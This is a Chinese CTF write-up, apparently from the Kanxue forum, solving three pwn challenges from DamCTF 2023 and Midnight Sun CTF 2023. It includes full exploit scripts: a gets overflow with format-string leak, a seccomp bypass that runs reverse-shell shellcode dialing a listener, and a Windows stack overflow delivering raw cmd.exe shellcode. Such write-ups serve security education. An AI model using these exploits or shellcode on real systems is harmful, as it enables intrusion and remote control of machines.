服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

DamCTF and Midnight Sun CTF Qualifiers pwn部分wp

日期: 来源:看雪学苑收集编辑:X1ng

本文为看雪论坛精华文章
看雪论坛作者ID:X1ng




DamCTF 2023 Quals


golden-banana

By BobbySinclusto
The Quest for the Golden Banana is a text-based adventure game that combines humor, action, and mystery in an epic story that will keep you hooked until the end. Explore exotic locations, interact with colorful characters, and make choices that will shape your destiny. Do you have what it takes to complete The Quest for the Golden Banana?
The story for this challenge was entirely written by the Bing AI chatbot :-)
 
是一个小游戏程序,开始时会读取房间信息,所有的信息保存在main函数中的game结构体局部变量里,每个房间的选项结构体中保存选择该选项后要到达的房间的地址。
 
房间信息文件里有一个SECRET ROOM,会直接输出flag。
 
在输入选项的地方用gets,存在溢出漏洞。

// Get choice from user
gets(g.input_buf);
// Allow either specifying the number or typing the description
choice = atoi(g.input_buf) - 1;

输出描述信息时用printf直接打印每个房间的描述信息。

void print_location(location *l) {
printf(l->description);
if (l->end_location) {
exit(0);
}
for (int i = 0; i < l->num_choices; ++i) {
printf("%d: %s", i + 1, l->choices[i].description);
}
}

思路是利用gets溢出覆盖到某一个房间的描述信息,通过格式化字符串泄漏出栈地址,再通过gets溢出覆盖选项结构体中目标房间的指针,跳转到SECRET ROOM。
 
很久没有打CTF了以至于已经忘了gets是\x0a截断而不是\x00截断,卡了好久。

#!/usr/bin/python

from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'


def exp(ip, port):
local=1
binary_name='golden_banana'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
p=process("./"+binary_name)
else:
p=remote(ip,port)



def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def cat():
ru('> ')
sl('cat')

def echo(x):
ru('> ')
sl(b'echo '+x)

def exit():
ru('> ')
sl('exit')

z('b*$rebase(0x17fa)')
time.sleep(1)

ru('2: Go south')
sl('1\x00')
ru('2: No, go back')
sl('2\x00'+'1'*(0x1828-2)+'%3$lx')
ru('2: Go south')
sl('1\x00')
stack = int(ru(':')[:-2],16)
ru('2: No, go back')
sl(b'1\x00'+b'1'*(0x2028-2)+p64(stack+0x1428*11))

p.interactive()
return ''


if __name__ == "__main__":

flag = exp(0, 0)





scm


By captainGeech
Keeping track of your different shellcode payloads is annoying, but the SCM is here to help! Safety first, though!
 
题目文件是一个shellcode管理器,3种不同的shellcode,分别用seccomp-tools查沙箱。

'''
type1
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0007
0006: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

type2
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

type3
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
'''

在执行shellcode的时候会fork开启另一个进程来执行,由于进程是资源分配的基本单位,所以fork出的子进程的内存页面与父进程一致,可以用type3的shellcode进行write系统调用泄露地址,但是由于内存页不同,type2的shellcode往子进程的内存中写数据就没什么用。
 
edit shellcode的函数中,用(unsigned __int8)类型来判断type是否在1~3之间,在写入时又用*(_DWORD *)(a1 + 4) = v2;写入4字节,可以输入0x101~0x103绕过检查并使得type不合法。

unsigned int v2;
... ...
fgets((char *)&v6, 49, stdin);
v2 = strtol((const char *)&v6, 0LL, 10);
if ( (unsigned __int8)(v2 - 1) > 2u ) //bug
{
puts("Bad type!");
return 0;
}
printf("Changing type to %d\n", v2);
*(_DWORD *)(a1 + 4) = v2;
... ...

在执行shellcode的函数中,会根据type类型为进程加沙箱规则,禁用系统调用,但是检查时若type大于3,则会直接跳过添加沙箱规则的函数sub_1279直接执行。

if ( !fork() )
{
close(2); //stderr
if ( *((_DWORD *)a1 + 1) == 3 || (close(1), *((_DWORD *)a1 + 1) != 2) ) //stdout
{
close(0); //stdin
v2 = *((_DWORD *)a1 + 1);
if ( v2 == 3 )
{
if ( !(unsigned __int8)sub_1279(0LL, 1LL) )
goto LABEL_13;
goto LABEL_12;
}
if ( v2 > 3 ) //bug
goto LABEL_12;
if ( v2 == 1 )
{
if ( !(unsigned __int8)sub_1279(0LL, 0LL) )
goto LABEL_13;
goto LABEL_12;
}
if ( v2 != 2 )
goto LABEL_12;
}
if ( !(unsigned __int8)sub_1279(1LL, 0LL) )
LABEL_13:
exit(0);
LABEL_12:
((void (*)(void))v1)();
goto LABEL_13;
}
wait((__WAIT_STATUS)stat_loc);

所以思路就是edit时破坏type,执行时绕过添加沙箱规则的函数直接执行shellcode,但是程序在fork出的子进程中关闭了三个基本的文件描述符,在执行的shellcode中直接调用execve("/bin/sh",0,0)是不行的,需要反弹shell,并且shellcode的长度需要小于0x64。
 
过程就是先在本地监听端口,再用shellcode完成socket, connect操作。

code = asm(pwnlib.shellcraft.amd64.linux.connect(ip,port))

由于此时文件描述符0,1,2都被关闭了,此时的socket返回的fd是0,所以再完成一次dup2操作,复制一个socket的fd为1。

code += asm(pwnlib.shellcraft.amd64.linux.dup2(0,1))

之后再执行/bin/sh时会按照正常情况将0作为标准输入,1作为标准输出来执行命令,但是此时的文件描述符0和1其实都已经是socket的fd,就在监听端获得了一个shell。
 
使用多线程编程来在一个窗口get shell,启一个线程与题目交互,主线程监听端口等待反弹shell。由于pwntools生成的执行sh的shellcode太长,可以自己手写一段。

#!/usr/bin/python
from pwn import *
import sys
import time
import threading
context.log_level = 'debug'
context.arch='amd64'


code = asm(pwnlib.shellcraft.amd64.linux.connect('0.0.0.0',8888))
code += asm(pwnlib.shellcraft.amd64.linux.dup2(0,1))

#code += asm(pwnlib.shellcraft.amd64.linux.sh())
shell='''
xor rsi,rsi;
xor rdx,rdx;
mov rax,0x68732f6e69622f;
push rax;
mov rdi,rsp;
push 59;
pop rax;
syscall
'''
code += asm(shell)

def exp(ip, port):
local=1
binary_name='scm'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
p=process("./"+binary_name)
else:
p=remote(ip,port)



def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def cho(choice):
ru('Choice: ')
sl(str(choice))

def add(t, s, val):
cho(1)
ru('write):')
sl(str(t))
ru('shellcode: ')
sl(str(s))
ru('Shellcode: ')
sl(val)

def delete(idx):
cho(5)
ru('index:')
sl(str(idx))

def exe(idx):
cho(3)
ru('index:')
sl(str(idx))

def edit(idx,ty):
cho(2)
ru('Shellcode index: ')
sl(str(idx))
ru(' (y/n):')
sl('y')
ru('3=write): ')
sl(str(ty))
ru(' (y/n): ')
sl('n')

add(1, len(code), code)
edit(0,256+1)
exe(0)
return ''

if __name__ == "__main__":

th = threading.Thread(target=exp, args=(0,0))
th.start()

io = listen(8888)
io.wait_for_connection()
io.interactive()





Midnight Sun CTF 2023 Quals


pyttemjuk

Category: pwn
Author: larsh
Simple buffer overflow, but not your normal Linux system! Flag in c:\flag.txt

附件
https://github.com/X1ngn/ctf/blob/master/chall.exe
 
Windows 平台的pwn


环境搭建


安装winchecksec
https://github.com/trailofbits/winchecksec/releases/tag/v3.1.0
 
安装x64dbg
https://x64dbg.com/#start
 
在装过pip的环境中安装Windows下的pwntools。

pip install pefile
pip install keystone
pip install capstone
pip install winpwn

找到winpwn库的文件路径,在cmd中打开。

python
import winpwn
winpwn.__file__

打开库所在目录。
 
打开dbg.py,在最底部的配置信息中填上x64dbg的文件路径。

debugger={
'i386':{
'windbg':'',
'x64dbg':'D:\\x64dbg\\release\\x32\\x32dbg.exe',
'gdb':'',
"windbgx":""
},
'amd64':{
'windbg':'',
'x64dbg':'',
'gdb':'',
"windbgx":""
}
}

debugger_init={
'i386':{
'windbg':'',
'x64dbg':'D:\\x64dbg\\release\\x32\\x32dbg.exe',
'gdb':'',
"windbgx":""
},
'amd64':{
'windbg':'',
'x64dbg':'',
'gdb':'',
"windbgx":""
}
}

并且在使用remote连接远程时会报错,根据提示需要在winpwn.py文件中修改一点代码,将remote类中的self.sock.connect((ip, port))改为self.sock.connect((ip, int(port)))。

class remote(tube):
def __init__(self, ip, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM):
tube.__init__(self)
self.sock = socket.socket(family, socktype)
self._is_exit=False
try:
showbanner("Connecting to ({},{})".format(ip,port))
self.sock.settimeout(self.timeout)
self.sock.connect((ip, int(port))) #add an int function

except:
raise(EOFError(color("[-]: Connect to ({},{}) failed".format(ip,port),'red')))
def read(self,n,timeout=None,interactive=False):
if timeout is not None:
self.sock.settimeout(timeout)
buf=b''
try:
buf=self.sock.recv(n)
except KeyboardInterrupt:
self.close()
raise(EOFError(color("[-]: Exited by CTRL+C",'red')))
except:
pass
self.sock.settimeout(self.timeout)
return Latin1_decode(buf)
def write(self,buf):
return self.sock.send(Latin1_encode(buf))
def close(self):
self.sock.close()
self._is_exit=True
def is_exit(self):
if self._is_exit:
return True
return False
@tube.timeout.setter
def timeout(self,timeout):
self._timeout=timeout
self.sock.settimeout(self._timeout)


题目分析


检查保护,在下好的winchecksec的目录中找到build\Release\winchecksec.exe

> winchecksec.exe C:\Users\origi\Desktop\chall.exe
Warn: No load config in the PE
Results for: C:\Users\origi\Desktop\chall.exe
Dynamic Base : "NotPresent"
ASLR : "NotPresent"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "NotPresent"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotPresent"
GS : "NotPresent"
Authenticode : "NotPresent"
.NET : "NotPresent"

逆向分析发现直接gets栈溢出,虽然开启了SEH,但是这题并不用异常处理,直接就可以注入shellcode执行。
 
一开始用Linux下栈溢出的思路泄露地址再算偏移ROP,但是Windows下的dll版本太杂了,主要的利用手法应该在于shellcode。在IDA中可以找到VirtualProtect函数在导出表中的位置,一般可以通过ROP调用VirtualProtect函数修改地址空间的权限,再执行写入的shellcode,但是本题栈上直接就是可执行的,直接写shellcode到一块内存跳转执行即可。
 
需要注意的是gets溢出又\x0a截断,可以在exploit database找到没有坏字符的shellcode,由于程序是挂载到端口上的,直接执行cmd.exe就可以get shell。

from winpwn import *
import os
import traceback
import sys
import socket

context.log_level = 'debug'
context.arch = 'amd64'
context.arch = 'i386'

def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE':
return remote(sys.argv[2], sys.argv[3])
else:
return process(r"C:\Users\origi\Desktop\chall.exe")


def get_gdb(sh, stop=False):
x64dbg.attach(sh)


def Attack(sh=None, ip=None, port=None):
if ip != None and port != None:
try:
sh = remote(ip, port)
except:
return 'ERROR : Can not connect to target server!'
try:
sh.recvuntil('Enter your name:')
bss = 0x405040
payload = 'a' * 28
payload += p32(0) # ebp
payload += p32(0x40263C) # gets
payload += p32(bss)
payload += p32(bss)

#get_gdb(sh)
sh.sendline(payload)

shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9\x51\xff\xd6"
sh.sendline(shellcode)
sh.interactive()

except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'


if __name__ == "__main__":

sh = get_sh()
Attack(sh=sh)




看雪ID:X1ng

https://bbs.kanxue.com/user-home-869963.htm

*本文由看雪论坛 X1ng 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

相关阅读

  • 实战|一次对BC网站的渗透测试

  • 作者:xzajyjs, 转载于FreeBuf.COM法律声明此渗透测试后已将所有信息移交警方,请勿用于非法用途。信息搜集首先当然是通过fofa进行bc网站的后台搜集(搜索语法大家自行探索),获得的q
  • 看EDR如何捕获”黑吃黑“的供应链投毒事件

  • 前言为什么有了杀软还要EDR?顺丰安全用他们亲历的一次供应链投毒事件证明了EDR的价值:有攻击团伙在互联网上发布和宣传“免杀Gh0st远控工具”来吸引“免杀爱好者”,并在其中隐
  • 预订“五一”,醒夏party

  • “五一”去哪里?浙里新西兰,大山里的游乐园。680亩竹海、20+潮玩项目,“五一”醒夏party,乘风趣浪。位于江浙沪3h舒适出游圈,杭州0.5h就能到达,20+硬核项目不拉垮,好玩刺激锻炼勇气
  • 从注入到上线

  • 0x01目标声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。直接上目标,这是一个普普通通的某系统。(
  • Sidecopy组织使用新木马对印度展开攻击

  • 一、团伙背景2020年9月,Quick Heal披露了一起针对印度国防军和武装部队陆军人员的窃密行动并将其命名为Operation Sidecopy。此次行动始于2019年初,由于攻击者主要以复制Sidew
  • Android性能优化:ProGuard,混淆,R8优化

  • / 今日科技快讯 /近日Canalys(科纳仕)发布的2023年第一季度全球智能手机市场的出货调查报告称,中国智能手机市场经历了连续下滑。苹果公司的iPhone 14系列延续去年Q4季度的
  • 掌握 Linux 命令行的 10 个高级 Shell 脚本命令

  • 击上方蓝字 ● 关注Linux公社 Shell脚本是一种强大的工具,可以让你的工作更轻松高效。如果你是Linux用户,你可能熟悉基本的shell命令,比如echo,cd和ls。然而,还有更高级的命

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四
  • 美国对华2000亿关税清单,到底影响有多大?

  • 1 今天A股大跌,上证最大跌幅超过2%。直接导火索是美国证实计划对华2000亿美元产品加征25%关税。 听起来,2000亿美元数目巨大,我们来算笔账。 2000亿美元,按现在人民币汇率

最新文章

  • 更新啦!Windows 开发不完全指南

  • 更新4节一名软件逆向分析工程师不仅要具备专业的逆向分析技术,还需要一定的程序开发能力。攻击即防御,先正向后逆向,你得明白正向的过程,才可能站在逆向的脚度去考虑程序的设计
  • 法院批准谷歌删除恶意软件运营商的域名

  • 谷歌本周三在一篇新闻稿中表示,其在制裁网络犯罪这项工作上又有了里程碑式的进步——在起诉信息窃取恶意软件Cryptbot的分销商后,法院批准谷歌有权关闭用于分发CryptBot恶意软
  • 求职看这里~

  • 有意向者可点击文末【阅读原文】投递简历~本周职位更新深圳市塞防科技股份有限公司 固件逆向工程师30k以上长按识别关于岗位详情及投递简历合肥丰实科技有限公司 C端产品
  • 一周网安知识汇总 | 2023.04.18-2023.04.24

  • 点击上方蓝色字关注我们~一周网安知识汇总雷石安全实验室【2023.04.18-2023.04.24】本栏目内容由雷石安全实验室整理,主要分享国内外优秀文章和github优秀项目。微信链接可直
  • 通过服务进行Azure 权限升级

  • {点击蓝色 关注我们}导语这篇文章介绍了微软云计算平台的架构、服务、权限等,同时分析了因服务权限配置不当导致的权限提升问题。原文链接:https://infosecwriteups.com/azure